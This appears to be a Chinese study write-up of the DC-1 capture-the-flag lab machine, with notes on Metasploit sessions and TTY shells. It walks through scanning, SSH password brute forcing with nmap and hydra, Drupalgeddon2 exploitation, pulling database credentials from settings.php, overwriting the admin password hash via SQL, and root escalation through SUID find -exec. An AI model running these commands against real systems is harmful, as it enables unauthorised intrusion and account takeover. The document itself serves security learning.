- 和前面DC靶机重复的部分就不记录的那么详细了
前置知识
- 普通shell和tty(终端)是在不同上下文中使用的术语,它们涉及到不同层面的交互和终端设备。
Shell是一种命令行解释器,用于在操作系统上执行命令和脚本。
在操作系统中,Shell提供了与用户进行交互和管理计算机的接口。
通过Shell,用户可以输入命令并查看命令的输出结果。
在普通Shell中,输入和输出通常是基于纯文本的。
一般而言,普通Shell不包含终端(TTY)的功能,它只提供了基本的命令行环境。
TTY(TeleTYpewriter的缩写)是指物理终端设备或虚拟终端模拟器。
TTY提供了对计算机的输入和输出的用户界面。
TTY建立了用户与计算机之间的连接,允许用户输入命令并查看命令的输出。
TTY提供了基本的文本输入和显示功能,以及控制终端的特殊操作(如控制字符和终端设置)。
TTY可以是物理设备(如串口终端)或虚拟终端模拟器(如xterm、gnome-terminal等)。
- msf拿到靶机的shell之后有些命令有权限也无法直接执行,这是因为某个漏洞创建的shell不能达到tty的功能,实际上msf的连接不一定是靶机的bash的shell,比起反弹shell还要低级🤣
控制字符和终端设置:某些命令可能使用了特殊的控制字符或需要更改终端的设置,以便实现所需的功能。这些特殊的字符或
设置在普通Shell中可能无法正常解释或工作。
交互性要求:某些命令可能需要与用户进行交互,例如要求输入确认或密码。在TTY中,可以直接与用户进行交互,而在非交互
式Shell中无法进行这种交互。
特定终端功能:有些命令可能依赖于特定终端设备的功能。例如,某些图形绘制命令可能需要终端支持图形渲染功能,而普通
Shell可能不具备这个功能。
设备访问权限:某些命令可能需要对特定设备(如串口、USB设备等)进行直接访问。这些设备访问权限可能在普通Shell中受
到限制或不可用。
- 关于msf的连接,是根据漏洞的不同而不同的.msf的连接是以session会话的形式存在
在Metasploit框架中,"session建立"是指成功与目标系统建立远程连接并获得对该系统的控制权限。当渗透测试人员成功地
利用了一个漏洞或执行了一个攻击,Metasploit框架会尝试在目标系统上创建一个会话(session),以便进一步进行后渗透
操作。
通过建立会话,渗透测试人员可以在目标系统上执行各种任务,如浏览文件系统、运行命令、上传/下载文件、监控网络流量
等。会话可以提供对受攻击系统的持久访问,使渗透测试人员能够维持控制并进一步扩大攻击范围。
Metasploit框架支持不同类型的会话,如Meterpreter会话、Shell会话、VNC会话等。每种类型的会话都具有不同的功能和特
性,可根据需求进行选择和使用。
-
所以在某些命令无法执行的时候可以考虑将当前的shell提升为bash甚至tty,关于利用msf提权的方法有很多,以后有机会单开一篇吧,这里使用shell命令,大概是将msf的shell变成bash的shell,其实也没有多少交互性,不过比msf的基础shell总要好一些
-
比如这里本来我们无法使用find命令
find / -name *flag*
- msf输入shell,再次执行即可使用find命令
shell
find / -name *flag*
- 当然在某些情况下shell命令是用不了的(不清楚),如果想回到基础shell,可以使用ctrl+c打断,然后输入n不退出msf,就能回到普通shell,这样find命令再次无法使用了
渗透记录
- 老样子,先两种方法查ip
nmap 192.168.122.0/24
arp-scan -l
- 然后探测一下服务
nmap -A -p- 192.168.122.133
-
22端口有ssh服务,80端口有个web服务,111端口有个rpc服务,rpc还没有接触过,不过这里用不到
-
先尝试爆破一下ssh,这里的ssh是用的密码而不是密钥,DC4里面用hydra爆破了密码,这里学习一下使用nmap爆破密码,但是并没有爆破出来
nmap --script=ssh-brute 192.168.122.133
- 然后关注一下web服务,访问一下,页面显示这是Drupal框架的网站
- 火狐的wappalyzer插件也可以查出来是Drupal CMS
- 使用msf搜索相关漏洞
msfconsole
search Drupal
- 按照网上的说法,应该使用exploit/unix/webapp/drupal_drupalgeddon2这个模块,实战里面就只能一个一个尝试了
use exploit/unix/webapp/drupal_drupalgeddon2
set LPORT 9999
set RHOSTS 192.168.122.131
run
- ls一下,发现已经实现了rce
- 注意,这里不要多此一举开一个nc监听9999端口,msf会自动开一个9999的监听的,如果提前开了反而会端口占用直接失败
- 使用find命令配合通配符查一下flag在哪里
find / -name *flag*
- 意外发现find用不了,located也用不了,只能ls+grep实现搜索了
ls -R / | grep *flag*
- 还是没有权限,还是得提权
- 不过好像忽略了本目录下就有一个flag,打开看看提示,告诉我们看一下config文件
Every good CMS needs a config file - and so do you.
- 查询可知drupal的配置文件默认在/var/www/sites/default/settings.php,查看一下
cat /var/www/sites/default/settings.php
- 成功拿到第二个flag,提示我们利用配置文件中的数据库的凭证(这里port为空,说明是默认的3306端口,prefix表示数据表前缀)
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
- 使用mysql命令连接数据库,仍然无法使用命令
mysql -udbuser -pR0ck3t
-
网上查了一下,原来这里的mysql包括前面的find命令不能用并不是没有权限,而是因为msf建立的shell并不是一个交互式shell,可以使用msf的shell命令创建一个交互式shell,这部分就写入上面的前置知识吧
-
使用shell命令创建一个bash的shell,然后使用python的pty创建一个交互式shell,方便后面操作(要先使用shell进bash,不然msf的session不支持python命令).pty模块创建交互式shell会在后面的反弹shell报告里面记上
shell
python -c 'import pty;pty.spawn("/bin/bash")'
- 再次mysql命令连接数据库,在user表中找到用户名和密码,但是密码是hash值
mysql -udbuser -pR0ck3t
show databases;
use drupaldb
select * from users;
-
可以尝逝碰撞,但是按照wp的做法是使用drupal官方的密码重置功能https://drupalchina.cn/node/1964
-
重置密码可以在index.php中引入password.inc或者用password-hash.sh的方法,这里使用password-hash.sh
-
实际上drupal的hash是SHA-512加盐,具体加的是什么只有官方知道了.这个脚本的作用是使用SHA-512加盐(如果是在脚本里面加盐那不就直接可以被看到吗,那怎么保密呢???)算出新密码的hash.然后把新密码的hash替换users表里面原有密码的hash即可.
#!/usr/bin/php
<?php
/**
* Drupal hash script - to generate a hash from a plaintext password
*
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with
* #!c:/program files/php/php.exe
*
* @param password1 [password2 [password3 ...]]
* Plain-text passwords in quotes (or with spaces backslash escaped).
*/
if (version_compare(PHP_VERSION, "5.2.0", "<")) {
$version = PHP_VERSION;
echo <<<EOF
ERROR: This script requires at least PHP version 5.2.0. You invoked it with
PHP version {$version}.
\n
EOF;
exit;
}
$script = basename(array_shift($_SERVER['argv']));
if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
echo <<<EOF
Generate Drupal password hashes from the shell.
Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"
All arguments are long options.
--help Print this page.
--root <path>
Set the working directory for the script to the specified path.
To execute this script this has to be the root directory of your
Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
running on Unix). Use surrounding quotation marks on Windows.
"<password1>" ["<password2>" ["<password3>" ...]]
One or more plan-text passwords enclosed by double quotes. The
output hash may be manually entered into the {users}.pass field to
change a password via SQL to a known value.
To run this script without the --root argument invoke it from the root directory
of your Drupal installation as
./scripts/{$script}
\n
EOF;
exit;
}
$passwords = array();
// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
switch ($param) {
case '--root':
// Change the working directory.
$path = array_shift($_SERVER['argv']);
if (is_dir($path)) {
chdir($path);
}
break;
default:
// Add a password to the list to be processed.
$passwords[] = $param;
break;
}
}
define('DRUPAL_ROOT', getcwd());
include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';
foreach ($passwords as $password) {
print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");
- 使用命令之前先退出mysql命令行,之前在windows都是手关,直接ctrl+c可能把python,bash,甚至msf直接关了🤣
exit;
- 具体实现不大看的懂,直接用就行了,这样可以生成miao的SHA-512加盐值(代码都有,真的不会泄露盐吗🤔)
php /var/www/scripts/password-hash.sh miao
hash: $S$DgGia3/Lyo6fxlWb5hmH7tUJt5R0HM37S6rPOqt2/mIOcfqFED7b
(这个脚本不一定就在这个目录,实战的时候可以用find命令找一下)
- 再次进mysql命令行,把user表的密码字段值给改了,命令为
update 表名 set 字段=新值,… where 条件
mysql -udbuser -pR0ck3t
show databases;
use drupaldb
select * from users;
update users set pass="$S$DgGia3/Lyo6fxlWb5hmH7tUJt5R0HM37S6rPOqt2/mIOcfqFED7b" where name='admin';
select * from users;
- 这样用户admin的密码就是miao了,直接登录drupal即可.翻找一下,content中有第三个flag
- flag3提示我们使用find的perm进行提权和使用 "-exec" 命令来确定如何获取 shadow 文件中的内容
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to
get what's in the shadow.
- 同dc2一样,可以看一下passwd文件来看看用户
cat /etc/passwd
- 发现一个flag4的用户,尝试爆破他的ssh密码,上面使用了namp,这里使用hydra中,使用了kali自带了一个字典/usr/share/john/password.lst,并且将结果存储在了hydraflag4.ssh
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.122.134 -f -vV -o hydraflag4.ssh
- 成功得到用户名密码flag4:orange,直接登录,在目录下面找到了flag4.tx
ssh flag4@192.168.122.134 -p 22
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
- flag提示要获取root权限,flag在root文件夹里面,那么就需要提权了,先查一下这个环境下哪些命令可以用于提权,果然,这个环境下sudo -l没法使用了
sudo -l
- 根据上面的提示,使用dc2里面提到过的find -perm来查询,这种方法相较于sudo -l的区别在于虽然也可以查看可以获取root权限的应用,但是无法确定该应用是否需要输入密码
find / -perm -u=s -type f 2>/dev/null
- 注意到find拥有root权限,结合flag3的提示,可以试一试find需不需要输密码,要是得输密码那就再换,find调用系统命令的语句如下,注意,可以通过加其他参数退出find的命令执行,但是如果没提前加想要退出的话就只能ctrl+c或者重启终端了
- 随便搜一个存在的文件就行,如果文件不存在就无法进入命令执行状态,直接返回No such file or directory,所以保险起见,直接搜索./
find ./ -exec '/bin/sh' \;
- 最后直接读root目录下的flag即可,成功拿到最后的flag
cd /root
ls
cat